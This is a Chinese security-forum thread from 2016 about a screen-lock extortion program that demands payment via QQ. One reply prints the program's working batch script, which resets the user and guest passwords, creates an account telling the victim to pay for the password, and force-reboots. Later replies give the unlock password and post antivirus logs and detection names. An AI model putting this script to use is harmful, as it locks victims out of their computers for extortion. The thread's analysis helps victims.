锁屏病毒

1083086612

朋友不留神打开了，然后被告知需要加qq付费才给解锁

lixihong10

1083086612

lixihong10 发表于 2016-4-4 19:20

那是解锁的密码吗？

XywCloud

[mw_shl_code=shell,true]@Shift/0
ECHO OFF
net user %username% tianw963.11
net user guest tianw963.11
net user 要密码加QQ1928181991 tianw963.11 /add
net localgroup %username% 要密码加QQ1928181991 /add
shutdown -f -r -t 0
[/mw_shl_code]

lixihong10

1083086612 发表于 2016-4-4 19:22
那是解锁的密码吗？

红色框起来的。

1083086612

lixihong10 发表于 2016-4-4 19:33
红色框起来的。

万分感谢！！！成功解决了

haoge250

ESET防住了，重启密码没被改。
还是这个病毒不行？

pal家族

[mw_shl_code=css,true]
04.04.2016 19.50.50;已阻止可疑操作;C:\Users\小之之\AppData\Local\Temp\D6AD.tmp\sever.bat;关闭 Microsoft Windows;C:\Users\小之之\AppData\Local\Temp\D6AD.tmp\sever.bat;C:\Users\小之之\AppData\Local\Temp\D6AD.tmp\sever.bat;04/04/2016 19:50:50
04.04.2016 19.50.50;应用程序已添加至组受信任组;Windows Shutdown and Annotation Tool;Windows Shutdown and Annotation Tool;数字签名分析;C:\Windows\SysWOW64\shutdown.exe;04/04/2016 19:50:50
04.04.2016 19.50.50;已阻止可疑操作;C:\Users\小之之\AppData\Local\Temp\D6AD.tmp\sever.bat;访问用户帐号设置;C:\Users\小之之\AppData\Local\Temp\D6AD.tmp\sever.bat;C:\Users\小之之\AppData\Local\Temp\D6AD.tmp\sever.bat;04/04/2016 19:50:50
04.04.2016 19.50.50;已阻止可疑操作;Net Command;访问用户帐号设置;Net Command;C:\Windows\SysWOW64\net.exe;04/04/2016 19:50:50
04.04.2016 19.50.49;已阻止可疑操作;Net Command;访问用户帐号设置;Net Command;C:\Windows\SysWOW64\net.exe;04/04/2016 19:50:49
04.04.2016 19.50.49;已阻止可疑操作;Net Command;访问用户帐号设置;Net Command;C:\Windows\SysWOW64\net.exe;04/04/2016 19:50:49
04.04.2016 19.50.49;应用程序已添加至组低限制组;C:\Users\小之之\AppData\Local\Temp\D6AD.tmp\sever.bat;C:\Users\小之之\AppData\Local\Temp\D6AD.tmp\sever.bat;根据计算评级;C:\Users\小之之\AppData\Local\Temp\D6AD.tmp\sever.bat;04/04/2016 19:50:49
04.04.2016 19.50.49;应用程序已添加至组低限制组;D:\360安全浏览器下载\主程序\主程序.exe;D:\360安全浏览器下载\主程序\主程序.exe;根据计算评级;D:\360安全浏览器下载\主程序\主程序.exe;04/04/2016 19:50:49
[/mw_shl_code]

很简单的敲竹杠，卡巴并不杀。

saga3721

红伞云查杀 'TR/Siggen.4b0746 (Cloud)' [trojan]

skyboybone

未拦截关机，重启无异常